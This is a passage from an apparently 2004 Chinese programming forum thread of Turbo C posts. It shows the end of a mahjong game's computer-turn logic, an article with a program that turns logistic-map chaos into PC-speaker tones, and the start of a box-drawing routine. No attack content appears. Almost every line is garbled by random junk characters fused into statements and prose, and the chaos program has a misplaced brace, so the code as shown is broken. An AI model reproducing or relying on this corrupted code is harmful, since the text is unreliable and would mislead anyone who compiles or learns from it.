. W* v$ k) K4 l$ T# c/ }}
, V; J. z" {" D. p2 ]. k3 v) Cif(every==10)/ n& \& Y1 I8 i: W* }! `% g( J
{1 }0 q; [) N/ j5 |; R2 ~* w2 O$ f
x1=220;- f# ~" l$ R( [! y
y1=165;
( U- f4 g- S% i6 H' M7 x2 W& rfillRectangle(x1,y1,x1+20,y1+4,0);
3 I6 }4 p- ^) |+ x+ H}
7 y* d" }/ q+ o6 g0 Q2 `9 Z7 Z+ `if(every==11)
) y" l0 \, R1 d{& p& y3 _+ C# s& W$ ?* Q
x1=240;
6 u  k8 y" C' c  i2 _y1=165;
$ `1 E9 z* D8 wfillRectangle(x1,y1,x1+20,y1+4,0);
8 _  y# x, Z# ?7 r; S  ^, k}
6 t; T, b  s+ T6 Wif(every==12)
4 z) x) k) n8 l: H{7 c# F8 D) i) m9 X1 y  s5 H' T, _9 Q
x1=260;
# M4 {, U" l4 }( ]. Yy1=165;
) L, Q$ e( z# V5 R# ?2 y+ Y% kfillRectangle(x1,y1,x1+20,y1+4,0);
3 o) {; Z  n; z, }0 H}9 F* Y# f% Z) l, C

0 `7 x; E; E' q& w4 Y0 p# \zz=0;/ A) Y: e- \4 i# }% d: a
every++;
- K7 n8 ?  R7 j) Lz=z+20;
! C8 L8 k- Y( D# z}! s* d0 ?# i: [/ P. d5 @
showbmp(every);
0 ^! x8 B& e" l% Ckey=keyy;
) e: m2 s# d3 |7 E5 @) M! ]) oif(keyy==ENTER)
: x7 e6 S; {* A{
. s( ~' x5 v" A  A- @8 f9 b) Argzn(every); /*********************/: U9 z, ^2 _3 j4 Q
if(sing==1) /*如果可以乓,做相应的处理*/9 @, @9 [  x& G: Y
{ 0 H% S, ~, k9 B! C. Y; B; r! Z/ g
kkk=0;
- l/ a% Z* @; n8 M& `& q  B6 mkkkk=0;
$ P' v3 W6 I  Nwhile(kkk&lt;=computer.m)" b1 W: D# r, \5 E
{
, U8 C$ F0 ~+ p0 t8 t& @4 S" lif(computer.pp[kkk].p!=1)
' ]4 E3 V; w+ W# w' n# k) N{/ v2 d; ^  y' R
comp.pp[kkkk].k=computer.pp[kkk].k;
5 r- ?: R% X/ N0 V  kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ d7 D. d% g1 ~+ ?3 x' Z
comp.pp[kkkk].number=computer.pp[kkk].number;
3 n& N  E: t  @! p' L1 s2 bkkkk++;
9 z' d, |6 ^3 {( i* a- @/ K}
/ Z& ]/ c# {7 Velse2 M9 a& `8 R0 P6 m2 Y3 U
{' q  V; {# y4 ^' o4 N& W/ n8 T3 I: k
m[computer.pp[kkk].number].data1=1;
" J* ^# J1 J  W* jdwei=computer.pp[kkk].number;8 j: h9 V( T0 Y
computer.pp[kkk].p=0;  A6 c: L5 V9 n9 G- d" w  f- D
}/ _# u& T2 v: i' r1 D+ ]1 s0 q1 ], \
kkk++;+ u* x3 p9 S. R4 I  ~# b7 [% n
}
7 u) n- H2 b# [# H5 @) Nll=0;. _$ f! S( T4 S- g+ P3 G4 H. G4 S$ S

3 `' \9 u6 Z. G# W  iwhile(ll&lt;3)
9 t3 Q8 h/ ^# ^. p, F) O$ Y{ zl=zl+20;
0 l' V: K; l4 n% I+ Bbmpp(dwei); /*显示乓的牌*/
8 v8 g% r, M. g3 }! A, z$ z& W' Jll++;( p6 C3 T8 D' H% V0 H& U
}9 V& j! F! ?8 O8 R! ^* u& Y2 ^
8 c4 I% g) j% z: N# |
zl=zl+9600-60;
; {+ D3 a+ W3 D3 f. `  E/ C* v  Lkkk=0;
4 W9 C- H2 q) x5 Ecomputer.m=computer.m-2;0 z" }: W4 `. M
while(kkk&lt;=computer.m)
! A$ ?$ l6 K& M) Z3 x; E) U3 d{
, ?, D+ b0 c+ n: f' g. N, }- dcomputer.pp[kkk].k=comp.pp[kkk].k;
& u' v+ t1 ?) O3 u& x3 e4 jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
4 G' N" v9 C+ d5 l" x# mcomputer.pp[kkk].number=comp.pp[kkk].number;6 a! s" D* g  j5 B3 [' Q: j- ^
kkk++;
. I) v7 J# U/ j8 N  h}% n% _' a6 f/ L0 ^' r5 b
ll=0;
( M3 `/ R( H, _$ Q3 s' w4 G5 _: \: rtemp=random(computer.m); /*出牌等待完善*/7 T( z& G- [: v4 ~/ O
zyy=zyy+9280+20;; J6 }/ n/ @5 j6 P8 @" ?0 O% ]% v
showcbmp(temp);
! @# b8 P% u. o  L2 szyy=zyy-9280;! H1 v6 \$ q& b/ v5 c- ~) V8 M
/*****/# Y3 T6 s; R7 U* s$ k0 w
rgznme(temp); - W, L" Y# x' I  w* Q
panduan();
( Z# a; R/ W. d4 t/ m2 eif(me.m==0)
2 p4 e0 K& W! W, J% W3 V5 Aif(second==1 &amp;&amp; threes==0)/ I8 P7 }/ }! ?1 p( I7 n. N
printf("you win!");
8 Q1 ~$ \3 J# v3 |, Yif(me.m==3)
+ C3 Z5 f* l; @7 r& n1 ~: \if(second==1 &amp;&amp; threes==1)
( q* [, b. @$ D8 c0 d1 Jprintf("you win!");. {: t% `' D+ Y) Y! E3 c
if(me.m==6): z) O0 O% u% x* J
if(second==1 &amp;&amp; threes==2)! _, `; Q/ p9 y7 X: c5 V! e
printf("you win!");
) C: l: h1 M% x* b6 Zif(me.m==9)' b% m, x' f% T0 D2 ~9 s; o: _
if(second==1 &amp;&amp; threes==3): U* _. q* P- {9 ?' B$ ^
printf("you win!");; K" ~& n, f1 I' M. B8 A: L
if(me.m==12)( i7 k$ l; W4 H, T: f8 d
if(second==1 &amp;&amp; threes==4)7 ^+ R' a$ x8 E' R& g& |- K2 ^9 x. k
printf("you win!");! r6 f+ x( D8 \2 K8 G
9 }# A$ U# d! ~  D" ^4 J  T# F
kkk=0;
+ b8 w. ]4 {1 o9 u% wkkkk=0;
7 ~* v- X' C0 c1 A" b" qwhile(kkk&lt;=computer.m)
& r+ z: @" Q3 b{4 Y" [; a! _  t) e) F& l
if(kkk!=temp)
/ q5 T6 [/ e3 a  V{5 _1 P3 y& {9 `9 o0 K% V
comp.pp[kkkk].k=computer.pp[kkk].k;7 P$ g/ s+ F5 Q0 [8 b* b7 G
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
2 z! }4 `1 r, z4 bcomp.pp[kkkk].number=computer.pp[kkk].number;
5 t1 E1 ?- Z9 o- }9 |1 R/ wkkkk++;
1 p, e" J$ J0 m& i  w; u}
$ k# u2 Q$ Z+ Pelse
1 Y8 i$ o* o4 d1 S7 G" U! }m[computer.pp[kkk].number].data1=1;
0 |9 v  s( S9 B* N6 tkkk++;
. `7 J, @% Z6 Z( s0 y}9 b- ?! i6 n+ ~) N2 T) P. w$ C
kkk=0;
) Q( t  I0 q! m7 f% L$ d' icomputer.m=computer.m-1;
) d( L# J0 A- o8 xwhile(kkk&lt;=computer.m)
; {4 N$ p) v9 T! `! [{
/ v/ q  }0 S) w& _& M; E; w' p, Tcomputer.pp[kkk].k=comp.pp[kkk].k;5 Q9 w8 K6 X  X0 G2 v
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;5 l& s+ ^3 E& p' b9 G$ ?
computer.pp[kkk].number=comp.pp[kkk].number;. A; l6 J2 M8 ?: L' h) F
kkk++;
, F! A& X8 z% d" c}% K  W3 m- _; n0 T
fillRectangle(0,0,320,30,0);' I1 h) L+ O' c8 }7 m. G
n=computer.m;
# o+ M3 {) j1 t8 J9 r) _2 ^$ Tll=0;6 Y8 X/ x7 F8 E! V
zy=0;) o! Q0 z! a* p2 Y) T. T9 I3 o
while(ll&lt;=n)
' Z3 `4 T5 U7 _; b{
! L0 c0 u" b0 v' O0 Kzy=zy+20;, Q7 h4 I$ h+ m% E' l; H
showybmp(ll);! y, n) |5 Z) z. a9 H0 T1 T6 ~
ll++;
. r9 w* l4 G8 |9 D( K% P}
9 e8 p8 j* g* M# P9 Ill=0;* V( ^. a: E; i
getch();
. ?( a6 G3 g3 W2 t3 Z2 \4 Using=0;5 n  K9 W  U  U" K# h* Q
sing1=1;  q! @' C  i) k- \4 m
}
( u+ d+ n3 V/ {2 H
* W9 w8 O8 G: zif(sing==2) /*如果可以杠的做相应处理*/& C3 d  T1 i5 E$ z  ^6 i
{
2 D. q! `0 M3 ^( }, `kkk=0;7 q( ]# ?: ^/ `; u
kkkk=0;
3 c$ ]  ?) ?6 z# v3 |9 ^2 }5 {/ Iwhile(kkk&lt;=computer.m)
; e8 M& t" z4 z" ?# ^{
. u* g8 Z5 e# A! q  i+ Iif(computer.pp[kkk].g!=1)8 ^0 M" P  Y2 H: ]3 j8 ^* C" [  t8 ~
{9 u. H4 I1 V6 j
comp.pp[kkkk].k=computer.pp[kkk].k;& r4 ~" X) ^+ K7 a& z1 t
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* n1 S& l) \2 ~
comp.pp[kkkk].number=computer.pp[kkk].number;, g0 S8 x7 U$ I+ o7 b) t
kkkk++;
- s" r+ o* Z) A0 E5 u: b- \}8 D% ?7 E! ?9 T5 {
else
4 K8 o  C6 Y4 Z$ ?{( G# l/ {) }- w; ^  a* r. M
m[computer.pp[kkk].number].data1=1;7 q- g7 y8 @; d
dweig=computer.pp[kkk].number;6 U) b& N1 O. H" ^/ q! _. ], ?2 L
computer.pp[kkk].g=0;
6 C7 ?: j; T& T6 ^9 x5 h}
4 g. |7 c$ l+ m) w- P( Nkkk++;: c# {3 y1 G: a) K
}
: X$ j& m! k& ~7 W: q: b7 pll=0;/ m& X( j$ G7 X# F
% Z/ ^1 F# \2 B0 z
while(ll&lt;=3)) G$ P& F3 P3 z0 P( F) A
{ zl=zl+20;
; E1 Z8 T( j* _0 Wbmpp(dweig); /*显示杠的牌*/
7 u; a7 g& h2 A, M# [( u& @7 ]ll++;' w! B/ i* _4 v7 x! b* h
}
6 N. J9 s( E% M* L, o" [zl=zl+9600-60;# C5 O/ t3 h- V# O% j
kkk=0;
" l; @+ d8 o$ ]* w6 b- B( Xcomputer.m=computer.m-3;
: D8 l( J) k0 Q5 e, _$ Qwhile(kkk&lt;=computer.m)
1 |5 t4 I4 ~4 R/ l7 n. i{/ |& `+ H6 N! ]' R( O, c& l
computer.pp[kkk].k=comp.pp[kkk].k;1 m! _* E: \, m
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 U9 G* d  U  O& e
computer.pp[kkk].number=comp.pp[kkk].number;
1 [: m- ?8 B; Q! z/ j% }6 Gkkk++;  q3 a* N2 @+ V
}
, b: l7 e$ ?) \kk=0;
: N; b" N# W& @# i& t" a1 S) ~computer.m++; /*加一个牌的容量*/1 p3 N( g) a9 w# J4 `& x( J
while(kk!=1)
. q8 @7 i6 r' V  w1 z9 @! m{5 t4 a: D% h7 N3 d' M7 j' i
temp=random(136); /*出牌*/
; {, f+ [2 Z2 I7 Z7 S, ^if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)  V5 _4 ]" L& m0 S7 W. u; d2 @
{
9 b) \1 q$ m3 ]0 kcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/* [5 u6 q7 j, ?  H/ Q: w+ i3 C  z
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
. S/ S0 w8 B+ {# icomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
6 h, `. E7 l, l  m" Z7 M$ Om[temp].data2=2; /*判断牌是谁的,2为电脑*/
9 y: g9 B. c; f) Mkk=1;
4 s5 z9 O  l. s}/ q# ^5 g; n0 y& I
}6 k' M0 x1 {& O' [& k
comlipai();
4 `+ ~7 s1 O% q& c. }( ^temp=random(computer.m); /*出牌,等待完善*/
8 ^9 g& j$ j' u. u" W5 nzyy=zyy+9280+20;7 e4 J) V" Z9 C3 _
showcbmp(temp);
" j3 z+ f# S: K5 Rzyy=zyy-9280;2 H' a6 K' A: z
/*****/( a* T0 N6 H5 W1 ?) G  _* A
rgznme(temp);
# S% j4 F& a2 ?% h) e) Ipanduan();
. J2 Y7 a% `- L* _% O- t2 n; sif(me.m==0)$ X% g& F2 ]" Z' U
if(second==1 &amp;&amp; threes==0)+ |: D5 e7 w3 R- M
printf("you win!");
! {# Y! S" e3 Eif(me.m==3)
7 V3 H& x9 T$ _5 rif(second==1 &amp;&amp; threes==1)
6 M# s" J( a; C# N6 rprintf("you win!");, A2 X( E/ E/ G  i1 U  N3 ?, m
if(me.m==6)- T( J" c6 r5 s' K0 P+ e5 W
if(second==1 &amp;&amp; threes==2)8 J% d! J9 f. o0 y' j* h) B3 f
printf("you win!");
1 o( v& i1 ^. C' d1 H: Rif(me.m==9)
' {1 l6 K6 E6 Z. E0 }if(second==1 &amp;&amp; threes==3)2 c, a' o4 I/ I7 ~
printf("you win!");
+ I* K3 V0 i1 }) ~# Z5 T+ `if(me.m==12)
5 e% ~8 }% M. z% o( ^) Aif(second==1 &amp;&amp; threes==4)7 _- b& q0 F3 S/ j- v
printf("you win!");% L) G8 _2 G" c. Y# d, D4 Q

, J, [- e$ D' v1 W% u) skkk=0;1 I) y' d" l5 f* A% x
kkkk=0;. F& Y- J) i+ f6 s
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
( p) H! \5 i" E$ Z{, k$ t2 ?9 ]2 @! ~( \% R5 n
if(kkk!=temp)
5 a9 o6 R( j" ]2 R& \{
) O! I! h8 J/ \comp.pp[kkkk].k=computer.pp[kkk].k;
3 \) a5 `& z/ B0 A& Ucomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;  g: b' v0 K! L$ i* T! x; T/ |
comp.pp[kkkk].number=computer.pp[kkk].number;
5 m$ j  b+ c( T- p( xkkkk++;
' y  e4 j: t6 ^- ]: p5 @}
8 E& }$ ^2 e" L2 {$ Helse
8 V' z% e8 W2 m# s. o. ?* i) S/ |, fm[computer.pp[kkk].number].data1=1;
- S8 @6 ^1 E8 Z/ R7 B+ {+ M) bkkk++;) ?: ?8 @) U" x
}
8 b9 ~7 G3 V. A- l4 Nkkk=0;: v/ S, r( I! y4 o+ U" ~6 t
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
) S, |1 s0 e5 Y! m2 Nwhile(kkk&lt;=computer.m)
' L; X  k5 f3 k{
& q2 p0 i) l  p9 x# Scomputer.pp[kkk].k=comp.pp[kkk].k;
5 W! Z3 L/ ^$ P. n* Hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;, A4 V2 X3 F4 ]
computer.pp[kkk].number=comp.pp[kkk].number;
' V) J7 P' f  ?' \% C1 X$ S, V1 V0 ykkk++;
  Y! m, g: L$ R( Z( W) R}  q# c3 T+ ~. Y2 j  l
fillRectangle(0,0,320,30,0);; \* h' x/ c: b& H6 ]. i' N
ll=0;" H4 k; w! W% Y; K) _9 ?
zy=0;
6 d. L" ]! T' x8 Cwhile(ll&lt;=computer.m)
9 w1 K" P& ~) q' ?" p5 |; u{2 s/ Y# T  y; s3 j
zy=zy+20;) B, Y; n9 i+ h# G9 w, L
showybmp(ll);5 W& n* ?2 P1 d- `
ll++;8 @/ m7 r# F4 d% U( Y
}( l, J  }. o. F7 X" e# M6 ]" R
sing=0;' C( Q' a9 J9 u/ M( R. N* N' J
sing1=1;
" ~8 V* R6 W1 m- v}
( N) O6 w2 G( Jif(sing==7) /*如果可以吃的,做相应处理*/
# c! X; t# z6 `( f8 O{ nn=0;
3 A' Y$ {* W8 K9 K) g" \kkk=0;
; J, W0 d: x) Ikkkk=0;
& U* l7 {) ^1 S9 M) b$ ywhile(kkk&lt;=computer.m)$ H4 O. ^( J" H+ @
{' `2 I8 p  w, [
if(computer.pp[kkk].c!=1)3 k. W2 w  G# _# Q" @# V
{4 a0 u$ Y: k. a* g* ^# Q; g
comp.pp[kkkk].k=computer.pp[kkk].k;0 M5 \1 z2 A9 }; n
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;6 F4 e  x! K% n8 J$ C2 [! ?
comp.pp[kkkk].number=computer.pp[kkk].number;2 T0 K  I8 s# w$ K
kkkk++;
% o) y0 o+ f8 C! W+ v" A}. e& w2 A) S4 ~
else
. `  {3 D8 q0 B* L{7 ?: l% J3 ], _, e  q. |
m[computer.pp[kkk].number].data1=1;
' H4 i* f  e" `$ q5 b9 E7 Tdw[nn++]=computer.pp[kkk].number;
; N! v. N. D7 k. h0 Kcomputer.pp[kkk].c=0;
- F( N% K6 D. K0 s}* R  S1 Q# s4 ?  b2 o
kkk++;6 _* g8 p  }8 \& l- p: d2 }
}8 Y$ @& D. r* |* Q: X7 S. H# M

% L, b! y4 J0 b6 nif(me.pp[every].number&lt;dw[0])
. o0 d2 h& i5 \9 @# S, Q- \7 G{# g/ g0 L; g, o8 X, P* w2 V* `
dw[2]=dw[1];
7 O: c* ]% Q7 X0 _" Zdw[1]=dw[0];: D0 x% t9 f4 b- a; [6 E4 W
dw[0]=me.pp[every].number;
0 _+ {/ Y$ |6 n* j1 h! D+ ]}' _, N. l, C2 g
if(me.pp[every].number&gt;dw[1])
" a% v2 o6 n) U! B! T2 f{3 h/ t  ?% E% |9 m2 a2 R( `. `
dw[2]=me.pp[every].number;, P/ I4 `* T1 g& [3 b' W
}: d$ b* ^/ K% u' L0 f% e- Y: x8 F
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
. ~) D0 r2 a& a0 [{: B& H% X1 _& W( l
dw[2]=dw[1];2 S0 |6 b0 r! l. v  M( ^
dw[1]=me.pp[every].number;7 w6 d+ ]1 Z8 ], K0 ]
}
+ K8 n9 A. n& L9 Onn=0;& U2 K0 k# k* i+ u: i
while(nn&lt;3)
  z3 k, ]- F% Z( a  g{ zl=zl+20;
: W1 \, X) `+ [# u! {2 Fbmpp(dw[nn]); /*显示吃的牌*/$ R& A- I' x# ~$ U
nn++;5 f( K: y! M1 l- [( @
}
1 i/ C& {8 F2 a, S# C, M2 m7 ?- J% Qzl=zl+9600-60;
: `: J% r! A6 Xkkk=0;. ~. e4 K+ v/ t( G6 I% N8 V
computer.m=computer.m-2;
. t) n) H/ ?! Owhile(kkk&lt;=computer.m)
5 B3 Z$ p4 a% U1 g7 A{
- h/ i& J. `" Gcomputer.pp[kkk].k=comp.pp[kkk].k;
! D2 W/ x, r! f( z6 jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
8 A& X2 n2 R3 N$ p. f$ wcomputer.pp[kkk].number=comp.pp[kkk].number;% |9 ?0 T' H, R; K2 l! w# j
kkk++;
* C& W2 Q. M1 P' F& K) f}8 |0 R' r  I3 |9 K2 G
ll=0;
" f) ]1 z5 g! a5 {temp=random(computer.m); /*出牌等待完善*/3 S* u& [" O+ b0 i* O5 r9 e( K# s
zyy=zyy+9280+20;
! i' s8 c8 X. S* y. ?# [+ ashowcbmp(temp);
7 K3 w) ], b  yzyy=zyy-9280;, p* [/ G; E5 ~* g, a- x6 ?
/*****/" O7 ^- D0 p; X- T$ W
rgznme(temp);  ~' A. K' n& J
panduan();: G) C6 O2 l/ h. I: T2 c! E6 l/ O: l
if(me.m==0)
+ y! S2 r3 M1 `0 C  J; vif(second==1 &amp;&amp; threes==0)
% G! X$ ^8 A3 Dprintf("you win!");' P9 i( `3 g& q% i  |
if(me.m==3)
7 ~+ u( Z& O2 B- H: K4 y% T2 ?* Qif(second==1 &amp;&amp; threes==1)
7 k& d" W0 M6 r' s( sprintf("you win!");/ `5 F; U7 J4 E; K8 r4 O, u" _& I
if(me.m==6)
( n! q# k) f" J* |8 |2 nif(second==1 &amp;&amp; threes==2), `# Z' B5 `. |( @8 N
printf("you win!");
0 |* Q. s+ l; |( _- C  c6 [if(me.m==9)# u8 M. K' @$ q! q; c5 r
if(second==1 &amp;&amp; threes==3)
% \9 x1 ]1 D, b. V1 gprintf("you win!");" s; D- ?* z- l; ?8 C1 _
if(me.m==12)
" ?" S1 n# B3 F6 d! t( B) _if(second==1 &amp;&amp; threes==4): U6 O$ `, r; E) B1 g
printf("you win!");& R" e6 o9 E. l* D7 U: H. `

- u. `$ o# f5 j& [2 G8 W! f8 Lkkk=0;
3 c* |7 Y( T6 T7 j' W1 }5 tkkkk=0;
! e2 ]0 f& R* O' ?' {5 mwhile(kkk&lt;=computer.m)
  L) J: Y. ]. F& q! h2 N{& _8 Z, T7 \" ]* R
if(kkk!=temp)
, b, {9 y5 @& K9 T0 K; T{! K* U: ~( \9 M  h+ D- ]
comp.pp[kkkk].k=computer.pp[kkk].k;
; c' [1 D0 K* C' S& x# D1 @4 Gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
) V/ ?9 N* `8 f) y% H6 Vcomp.pp[kkkk].number=computer.pp[kkk].number;
% L6 P" E% }1 t1 I! gkkkk++;' }( S% m1 y) x5 q+ B7 I5 r, Z
}( x! ~9 a9 w4 H. w: U7 B  u
else
5 A8 s+ \( N* g) B( C: `m[computer.pp[kkk].number].data1=1;
% V3 x7 a: Q9 j, p  dkkk++;
! q1 v; D) Y: k3 j}. P: e# @1 J" y4 [. a5 \. @* v
kkk=0;& Y0 l& i+ M, g- Z5 e# x
computer.m=computer.m-1;/ |  g& Q# G% l# t2 R* K* N
while(kkk&lt;=computer.m)
9 @- `& f: x0 L: a- W. B8 ~{4 C: v7 i0 J/ s4 W# `3 x! u  U1 h
computer.pp[kkk].k=comp.pp[kkk].k;
, ?0 r8 _; k' J6 K8 ^) g8 v/ v* |computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( t: ]2 i7 B" u9 I  pcomputer.pp[kkk].number=comp.pp[kkk].number;
- u0 I* b3 k. e! U  w6 a/ X0 {kkk++;. N/ |; N2 m- |
}
& ?9 C/ ]$ f# C0 K  z- V8 J) ?fillRectangle(0,0,320,30,0);
7 k1 _9 B" N" H9 w! b" {( ]n=computer.m;
' B# M: w7 ]. c# ^ll=0;" U" g, [1 w8 b
zy=0;
! \8 `: }, \- h* ?/ y! Pwhile(ll&lt;=n)/ V0 y2 N8 _0 l' m
{+ o6 y5 t' D, I* T
zy=zy+20;6 T% [9 |$ t: c- m3 M' B  D. x
showybmp(ll);
9 r. ~; j% \& ]3 W3 \1 Qll++;
/ y. }' f2 d" U- ^  u, B% T9 P* f0 \% O}
' v2 y% ]  w5 k+ u
6 q: u3 r' |0 g% E3 Vgetch();
$ y2 [6 ]; V, ?3 E8 ]  a6 b+ Nsing=0;% g5 k) C. s6 U4 f( Y3 n
sing1=1;
. J9 f( F2 ?) b: C, G}# w4 X& S8 V) O0 I0 P# [
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/% @) |; m# j9 u3 a. Q
{1 _+ p: n# F  L$ G
kk=0;
  @; i& u3 a3 B3 }! c$ g4 ]* T% h% Eh=me.pp[every].number;: A$ F0 Z1 S( |1 G5 X" y) g5 H& F( N
m[h].data1=1; /*此牌已经无用*/: ^0 B3 r7 ~+ u/ |' W9 {9 B) N: G8 M
if(sing1!=1)1 n# K9 U( O! ~; m( z
{8 T* z( L; Q) _
zyy=zyy+9280+20;
9 v/ ]+ d: k* f4 p# l0 X4 Wshowbmpd(every);
. F% w3 P: F" u+ m$ W) w1 M! ]4 Vzyy=zyy-9280;
: r" n  d. O. ?. \}
  c: [' |0 W$ ]while(kk!=1)  p/ b. J9 i* k$ C9 \
{: w: C# U2 p% g, u- _1 }' `+ e
temp=random(136);$ i* R& a4 z% G1 g8 t4 ^% ~% I# |
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)7 R: _9 G! ~, |% C' D4 ~
{
4 C  ~0 v& }4 ^me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
. [0 C9 C  a4 G' ~& qme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
# R$ z6 F8 y  O, }$ m# f* Eme.pp[every].number=temp; /*第几张,用来排序*/8 Q" n* W( j4 M) A/ U
m[temp].data2=1; /*判断牌是谁的*/8 T- ^- G5 \  G( {
kk=1;
" s: a3 u, \0 P$ X}7 Z- w% B' o' d
if(kk==0) /*判断如果又选择了,就从新再选*/
- P+ y+ G3 ]  g4 r: o. h, vkk=0;4 k. x* e( w, `/ w
}
4 _% m8 E5 I6 j" J. k2 a0 f}* `( h2 Q: h) f" `5 [4 |  x
sing=0;9 I1 W+ K; O1 M. B4 E! r) B/ w8 g
sing1=0;
; B* q$ T4 r8 e6 T' amelipai();
0 t! y, |9 W; A) f! _- @6 Pn=13;! g2 u. |4 V+ |
z1=54400;
: U) u$ f9 n9 h5 M, Fl=0;/ A4 N- w2 Y4 v3 M7 e. ?4 z& @1 b
g=z;
$ V# B& P% L( u3 l' [/ `% N5 qwhile(l&lt;n)4 @% J/ _; w* Y" w0 ~/ e
{ z=0;
9 m0 y+ \) g( m: c$ T+ }z1=z1+20;8 I  _+ ?; `% p5 x7 Z! [
showbmp(l);! B# ^! b0 ^# z1 X
l++;
7 }& r8 s/ {& O3 f}1 \$ T* z- V8 G0 c0 Z8 D, O/ _
z1=0;3 ~: e2 h  o8 K4 I
z=g;
& b; `, n; f$ j3 ^, m( D}  Y8 |% q, K, l
keyy=0;& L! S8 @4 G/ a5 Y; H
}
# m6 A0 P# c* E  ^& Y' ~, c/ b' W, G* e7 G+ j0 M
getch();
1 k) v$ F# X, [. t/ V6 j5 Z7 x4 ZOUTVGA;  W- e# R. N9 ^; U' d# u
} ) O- v# T# ^6 z
</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
. Y6 T8 n9 Y* c6 E# U( \</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:) m; E8 L8 ~0 w6 `  G$ A
( n& P; I+ j! d; n$ C
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
6 C1 e# i# o! W  <FONT color=#009900>#include <DOS.H>
% j, h. S8 m4 o  #include <STDIO.H>0 H/ A3 A% t" z7 \7 R7 ]
  main(){+ o9 R2 T0 f  W* g" {" k: H( B
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/$ f4 T+ ]2 M! O/ G0 Z
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/# k7 E7 K+ ]+ \/ \
  /*i,j用于循环记数*/
9 {3 o4 E9 p$ ]  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/5 @9 c3 n4 [& x; J
  fDis=fMax-fMin;
1 R" v$ r" ?, Q: b3 L. z8 X  for(j=1;;j++){
7 a$ z5 e. E/ J% N1 n! P  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/. ~; G2 H% d6 E: a9 q7 {" k9 @  B
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/0 R1 u# d8 w( y
  scanf("%f",&k);
0 T* P5 X: x+ n0 R) t  if (k==0) break;. L6 y% M: u" s: \1 S  c- l1 N
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
9 |. ~% @: v, {  m# L1 ]: c' ]# F  x=k*x*(1-x);
  }# l3 K9 q, b/ f6 v  for (i=1;i&lt;100;i++){
4 U( L3 K* k* g2 p  x=k*x*(1-x); /*计算x的值*/
" f( T3 }# `* X$ x' V  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/1 N/ c7 N" q- K: f4 l, ?
  delay(1000); }  t. S3 z1 r. X8 \% W1 k  N
  nosound(); }}  U' Q* o7 f9 U
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。! B; A& H  _0 O: _) O/ @
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
; e8 k3 n$ F3 }, @" z' b<FONT color=#009900>/*
. s+ I! I& ]7 p0 m( F) M*
9 C9 y4 }. \0 N' V: J6 s* Short driver module$ w' x* l' K" I& M8 ?1 E
*& n2 \# d" E( d) B7 p2 N1 \8 y3 G
*/</FONT></P><><FONT color=#009900>main()
9 D0 K; V/ U+ E4 e9 P+ H, g{
2 R0 ~% P! A3 \8 t5 |clrscr();$ c& b! B8 D3 G8 S7 _  @
box(1,1,23,79);
" d, ?$ @* l  @# {# fbox(2,2,21,77);* \# c- ?7 z4 H3 _8 p) f
